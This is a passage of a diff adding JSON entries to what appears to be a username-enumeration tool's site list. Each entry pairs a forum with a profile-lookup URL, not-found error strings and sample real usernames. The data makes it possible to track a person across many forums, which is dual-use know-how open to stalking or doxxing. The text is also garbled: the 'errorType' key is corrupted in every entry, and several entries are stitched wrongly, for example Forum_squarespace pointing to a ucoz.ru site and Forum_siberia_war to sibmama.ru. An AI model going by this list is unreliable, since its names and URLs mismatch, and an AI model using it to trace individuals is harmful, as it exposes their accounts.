"https://shuumm.ucoz.ru/index/8-0-{}", + "urlMain": "https://shuumm.ucoz.ru", + "usernameON": "shuumm", + "bad_site": "" + }, + "Forum_shvedun": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://www.forum.shvedun.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://www.forum.shvedun.ru", + "usernameON": "red", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_siava": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://siava.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://siava.ru", + "usernameON": "Keks", + "comments": "cf", + "bad_site": 1 + }, + "Forum_sibcoins": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sibcoins.ucoz.ru/index/8-0-{}", + "urlMain": "https://sibcoins.ucoz.ru", + "usernameON": "FERMABOT", + "bad_site": "" + }, + "Forum_siberia_war": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr> :: Сибмама - о семье, беременности и детях", + "errorTyp��": "message", + "url": "https://forum.sibmama.ru/profile.php?mode=viewprofile&u={}", + "urlMain": "https://forum.sibmama.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_siccness": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.siccness.net/xf/members/?username={}", + "urlMain": "https://www.siccness.net", + "usernameON": "muthafknmexican", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_siemens-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://siemens-club.ucoz.ru/index/8-0-{}", + "urlMain": "https://siemens-club.ucoz.ru", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_siemens-town": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://siemens-town.my1.ru/index/8-0-{}", + "urlMain": "https://siemens-town.my1.ru", + "usernameON": "pomoshigorigor", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_sierraclubspb": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://sierraclubspb.borda.ru/?32-{}", + "urlMain": "https://sierraclubspb.borda.ru", + "usernameON": "truevalve", + "bad_site": "" + }, + "Forum_sierrawireless": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.sierrawireless.com/u/{}/summary", + "urlMain": "https://forum.sierrawireless.com", + "usernameON": "guigui", + "bad_site": "" + }, + "Forum_sigerous": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sigerous.ru/index/8-0-{}", + "urlMain": "http://sigerous.ru", + "usernameON": "repteloid1111", + "bad_site": "" + }, + "Forum_silveradoev": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.silveradoevforum.com/members/?username={}", + "urlMain": "https://www.silveradoevforum.com", + "usernameON": "nebula1701", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_silveradosierra": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.silveradosierra.com/members/?username={}", + "urlMain": "https://www.silveradosierra.com", + "usernameON": "babock58", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_silverstream": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>Результатов поиска нет", + "errorMsg3": "Cloudflare", + "errorTyp��": "message", + "url": "https://f.simpleminecraft.ru/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://f.simpleminecraft.ru", + "usernameON": "delars", + "bad_site": "" + }, + "Forum_simracing": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorTyp��": "message", + "url": "https://forum.simracing.su/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.simracing.su", + "usernameON": "veter", + "bad_site": "" + }, + "Forum_sims3game": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sims3game.ucoz.ru/index/8-0-{}", + "urlMain": "https://sims3game.ucoz.ru", + "usernameON": "reveille", + "bad_site": "" + }, + "Forum_singaporebrides": { + "country": "🇸🇬", + "country_klas": "SG", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://singaporebrides.com/weddingforum/members/?username={}", + "urlMain": "https://singaporebrides.com", + "usernameON": "buzz", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sitepoint": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "\\"posts\\":[],\\"users\\":[],", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.sitepoint.com/community/search?context=topic&q={}&search_type=users&skip_context=true", + "urlMain": "https://www.sitepoint.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_sivatherium": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://skachat-warcraft-3.ru/index/8-0-{}", + "urlMain": "https://skachat-warcraft-3.ru", + "usernameON": "Grandar", + "bad_site": "" + }, + "Forum_skateclass": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "url": "https://sokrovische.ucoz.ru/index/8-0-{}", + "urlMain": "https://sokrovische.ucoz.ru", + "usernameON": "Visondela", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_solana": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.solana.com/u/{}/summary", + "urlMain": "https://forum.solana.com", + "usernameON": "ilian", + "bad_site": "" + }, + "Forum_soligorsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://soligorsk-info.ucoz.com/index/8-0-{}", + "urlMain": "https://soligorsk-info.ucoz.com", + "usernameON": "andydudyk", + "bad_site": "" + }, + "Forum_solikamsk1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://solikamsk1.ucoz.org/index/8-0-{}", + "urlMain": "https://solikamsk1.ucoz.org", + "usernameON": "Openair", + "bad_site": "" + }, + "Forum_solnechnyi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://solnechnyi.ucoz.ru/index/8-0-{}", + "urlMain": "https://solnechnyi.ucoz.ru", + "usernameON": "eameln07", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_solonkino": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://solonkino.3dn.ru/index/8-0-{}", + "urlMain": "https://solonkino.3dn.ru", + "usernameON": "tasya", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_solotouch": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.solotouch.com/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.solotouch.com/", + "usernameON": "rosco1", + "bad_site": "" + }, + "Forum_solstar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "домен, регистратор, доменные имена", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://solstar.ru/index/8-0-{}", + "urlMain": "http://solstar.ru", + "usernameON": "wellnemo", + "bad_site": "" + }, + "Forum_sonexbuilders": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://sonexbuilders.net/search.php?keywords=&terms=all&author={}", + "urlMain": "https://sonexbuilders.net", + "usernameON": "lakespookie", + "bad_site": "" + }, + "Forum_sony127": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sony127.3dn.ru/index/8-0-{}", + "urlMain": "https://sony127.3dn.ru", + "usernameON": "htaletuauo", + "bad_site": "" + }, + "Forum_sonyalpha": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "0 Ergebnisse", + "errorMsg2": "One moment,", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.sonyalphaforum.de/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.sonyalphaforum.de", + "usernameON": "ger100", + "bad_site": "" + }, + "Forum_sonycam": { + "country": "🇪🇸", + "country_klas": "ES", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.sonycam.es/foro/members/?username={}", + "urlMain": "https://www.sonycam.es", + "usernameON": "dano", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_soslujivzi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://soslujivzi.ru/index/8-0-{}", + "urlMain": "https://soslujivzi.ru", + "usernameON": "bazy", + "bad_site": "" + }, + "Forum_sosuave": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.sosuave.net/forum/members/?username={}", + "urlMain": "https://www.sosuave.net", + "usernameON": "theprospect", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sourcepython": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.sourcepython.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forums.sourcepython.com/", + "usernameON": "Mahi", + "comments": "Archive", + "bad_site": 1 + }, + "Forum_south-tm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://south-tm.clan.su/index/8-0-{}", + "urlMain": "http://south-tm.clan.su", + "usernameON": "Shchedrovnops", + "bad_site": "" + }, + "Forum_sovet-miliziy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sovet-miliziy.narod.ru/index/8-0-{}", + "urlMain": "http://sovet-miliziy.narod.ru", + "usernameON": "Евпатий", + "bad_site": "" + }, + "Forum_sovetskoye": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sovetskoye.ucoz.ru/index/8-0-{}", + "urlMain": "https://sovetskoye.ucoz.ru", + "usernameON": "VikingRUS", + "bad_site": "" + }, + "Forum_sovgavan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "http://www.sovgavan.ru/index/8-0-{}", + "urlMain": "http://www.sovgavan.ru", + "usernameON": "Titana", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_sovpl": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403", + "errorTyp��": "message", + "url": "https://soyuz-pisatelei.ru/index/8-0-{}", + "urlMain": "https://soyuz-pisatelei.ru", + "usernameON": "Litvin", + "bad_site": "" + }, + "Forum_space": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.space.com/members/?username={}", + "urlMain": "https://forums.space.com", + "usernameON": "helio", + "comments": "Archive", + "bad_site": 1, + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_spacebattles": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.spacebattles.com/members/?username={}", + "urlMain": "https://forums.spacebattles.com", + "usernameON": "lt_ryguy", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_spanielclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://spanielclub.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://spanielclub.kamrbb.ru", + "usernameON": "kertezayde", + "bad_site": "" + }, + "Forum_spchat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.spchat.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.spchat.ru", + "usernameON": "Taniar", + "bad_site": "" + }, + "Forum_spdonetsk": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://spdonetsk.ucoz.ua/index/8-0-{}", + "urlMain": "https://spdonetsk.ucoz.ua", + "usernameON": "Alazany", + "bad_site": "" + }, + "Forum_speakev": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.speakev.com/members/?username={}", + "urlMain": "https://www.speakev.com", + "usernameON": "nickkk32", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_specialstage": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.specialstage.com/members/?username={}", + "urlMain": "https://www.specialstage.com", + "usernameON": "ssadmin", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_specktra": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.specktra.net/members/?username={}", + "urlMain": "https://www.specktra.net", + "usernameON": "shellygrrl", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_spellbinder": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.spellbinder.tv/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.spellbinder.tv", + "usernameON": "vov2302", + "bad_site": "" + }, + "Forum_spiceworks": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://community.spiceworks.com/u/{}", + "urlMain": "https://community.spiceworks.com", + "usernameON": "hulksmash72", + "comments": "RUblock", + "bad_site": "" + }, + "Forum_spinningist": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.spinningist.com/index/8-0-{}", + "urlMain": "http://www.spinningist.com", + "usernameON": "Nux", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_spitz-dog": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://spitz-dog.ucoz.ru/index/8-0-{}", + "urlMain": "http://spitz-dog.ucoz.ru", + "usernameON": "hieswivay", + "bad_site": "" + }, + "Forum_spoiledmaltese": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.spoiledmaltese.com/members/?username={}", + "urlMain": "https://www.spoiledmaltese.com", + "usernameON": "duncanweishaar093", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_spolo": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sporeland.ru/index/8-0-{}", + "urlMain": "https://sporeland.ru/", + "usernameON": "ms_Zeys", + "bad_site": "" + }, + "Forum_sport_f": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.sport-forums.com/members/?username={}", + "urlMain": "https://www.sport-forums.com", + "usernameON": "bascampt", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sportgymnastic": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sputnikkey.ru/index/8-0-{}", + "urlMain": "http://sputnikkey.ru", + "usernameON": "alexstvpr", + "bad_site": "" + }, + "Forum_spyro-realms": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.spyro-realms.com/index/8-0-{}", + "urlMain": "https://www.spyro-realms.com", + "usernameON": "ftaletoxrf", + "bad_site": "" + }, + "Forum_sqlteam": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forums.sqlteam.com/u/{}/summary", + "urlMain": "https://forums.sqlteam.com", + "usernameON": "waterduck", + "bad_site": "" + }, + "Forum_squarespace": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Found 0 results", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://svet-unlimited.ucoz.ru/index/8-0-{}", + "urlMain": "https://svet-unlimited.ucoz.ru", + "usernameON": "Milija", + "bad_site": "" + }, + "Forum_svobodavnutri": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://svobodavnutri.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://svobodavnutri.kamrbb.ru", + "usernameON": "lurdopufye", + "bad_site": "" + }, + "Forum_svoystyle": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://svoystyle.ucoz.ru/index/8-0-{}", + "urlMain": "https://svoystyle.ucoz.ru/", + "usernameON": "isaeva3", + "bad_site": "" + }, + "Forum_svstrazh": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://svstrazh.forum24.ru/?32-{}", + "urlMain": "https://svstrazh.forum24.ru", + "usernameON": "blagimip", + "bad_site": "" + }, + "Forum_svstudio": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://svstudio.ucoz.ru/index/8-0-{}", + "urlMain": "https://svstudio.ucoz.ru/", + "usernameON": "sunkid", + "bad_site": "" + }, + "Forum_svvptau": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://svvptau.borda.ru/?32-{}", + "urlMain": "https://svvptau.borda.ru", + "usernameON": "sops", + "bad_site": "" + }, + "Forum_swedespeed": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "url": "https://www.swedespeed.com/members/?username={}", + "urlMain": "https://www.swedespeed.com", + "usernameON": "stewart13", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_swift": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "posts\\":[],\\"users\\", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.swift.org/search?q={}&search_type=users", + "urlMain": "https://forums.swift.org", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_swiftbook": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://forum.swiftbook.ru/u/{}/summary", + "urlMain": "https://forum.swiftbook.ru", + "usernameON": "green", + "comments": "bad", + "bad_site": 1 + }, + "Forum_swleague": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.swleague.ru/index/8-0-{}", + "urlMain": "http://www.swleague.ru", + "usernameON": "rtalethabg", + "bad_site": "" + }, + "Forum_swoy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://swoy.ucoz.ru/index/8-0-{}", + "urlMain": "https://swoy.ucoz.ru", + "usernameON": "Tampy", + "bad_site": "" + }, + "Forum_symerechnaya": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://symerechnaya.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://symerechnaya.kamrbb.ru/", + "usernameON": "jelmafesti", + "bad_site": "" + }, + "Forum_synfig": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.synfig.org/u/{}/summary", + "urlMain": "https://forums.synfig.org", + "usernameON": "weranimators", + "bad_site": "" + }, + "Forum_synwrite_sourceforge": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://synwrite.sourceforge.net/forums/search.php?keywords=&terms=all&author={}", + "urlMain": "https://synwrite.sourceforge.net/", + "usernameON": "SamC", + "bad_site": "" + }, + "Forum_sys-adm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://forum.sys-adm.in/u/{}", + "urlMain": "https://forum.sys-adm.in", + "usernameON": "sysadmin", + "bad_site": 1 + }, + "Forum_szaokprf": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://szaokprf.ucoz.ru/index/8-0-{}", + "urlMain": "https://szaokprf.ucoz.ru", + "usernameON": "sapsap", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_t-shirt": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.t-shirtforums.com/members/?username={}", + "urlMain": "https://www.t-shirtforums.com", + "usernameON": "tom703", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tachograph": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://tachograph.ucoz.ru/index/8-0-{}", + "urlMain": "http://tachograph.ucoz.ru", + "usernameON": "zokfada", + "bad_site": "" + }, + "Forum_tacticalwargames": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No members found", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.tacticalwargames.net/taccmd/memberlist.php?username={}", + "urlMain": "https://www.tacticalwargames.net", + "usernameON": "MephistonAG", + "bad_site": "" + }, + "Forum_taek": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://taek.3dn.ru/index/8-0-{}", + "urlMain": "https://taek.3dn.ru/", + "usernameON": "provzlom", + "bad_site": "" + }, + "Forum_taganrog-stop": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://taganrog-stop.clan.su/index/8-0-{}", + "urlMain": "https://taganrog-stop.clan.su", + "usernameON": "avtoritetniy", + "bad_site": "" + }, + "Forum_tagheuer": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://tagheuerforums.com/members/?username={}", + "urlMain": "https://tagheuerforums.com", + "usernameON": "hubert", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tagilshops": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "url": "https://taipaqi.moy.su/index/8-0-{}", + "urlMain": "https://taipaqi.moy.su", + "usernameON": "lotly", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_taksafonchik": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tambov.clan.su/index/8-0-{}", + "urlMain": "https://tambov.clan.su", + "usernameON": "Xando", + "bad_site": "" + }, + "Forum_tanki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "Что-то пошло не так", + "errorTyp��": "message", + "url": "https://ru.tankiforum.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://ru.tankiforum.com", + "usernameON": "anmo", + "bad_site": "" + }, + "Forum_tanknet": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.tanknet.org/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.tanknet.org", + "usernameON": "bojan", + "bad_site": "" + }, + "Forum_taragorod": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://taragorod.ru/index/8-0-{}", + "urlMain": "https://taragorod.ru", + "usernameON": "unlockserver", + "bad_site": "" + }, + "Forum_tarjaturunen": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tarjaturunen.ucoz.ru/index/8-0-{}", + "urlMain": "https://tarjaturunen.ucoz.ru", + "usernameON": "timoxa", + "bad_site": "" + }, + "Forum_taro": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://www.taro.lv/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.taro.lv", + "usernameON": "Cha", + "bad_site": "" + }, + "Forum_tarokus": { + "country": "🇷🇺", + "country_klas": "RU", + 